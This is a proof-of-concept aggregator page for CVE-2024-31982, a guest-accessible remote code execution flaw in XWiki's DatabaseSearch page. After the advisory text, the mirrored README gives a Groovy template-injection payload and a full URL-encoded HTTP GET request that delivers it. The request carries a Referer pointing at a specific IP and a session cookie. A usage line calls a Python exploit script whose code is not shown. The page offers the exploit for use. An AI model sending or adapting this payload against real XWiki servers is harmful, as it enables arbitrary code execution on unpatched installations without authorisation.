CVE-2024-31982 PoC — XWiki Platform: Remote code execution as guest via DatabaseSearch

Source

https://github.com/k3lpi3b4nsh33/CVE-2024-31982

Associated Vulnerability

Title:XWiki Platform: Remote code execution as guest via DatabaseSearch (CVE-2024-31982)
Description:XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.

Readme

# CVE-2024-31982

![Snipaste_2024-06-22_16-25-38](README.assets/Snipaste_2024-06-22_16-30-07.png)



Java SSTI -> Lead to RCE

```
}}}{{async async=false}}{{groovy}}println("Successful Injection"){{/groovy}}{{/
```



```
GET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Successful%20Injection%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2F HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://1.117.185.47:8011/bin/view/Main/
Cookie: JSESSIONID=10D76FBAF45134404510556146000E4D
```



# Usage

```
python3 CVE-2024-31982.py
```

File Snapshot


 [4.0K]  /data/pocs/6a3cee3081d42fe243f0d902583b2a594c6c5afd
├── [2.5K]  CVE-2024-31982.py
├── [4.0K]  README.assets
│   └── [ 97K]  Snipaste_2024-06-22_16-30-07.png
└── [ 792]  README.md

1 directory, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!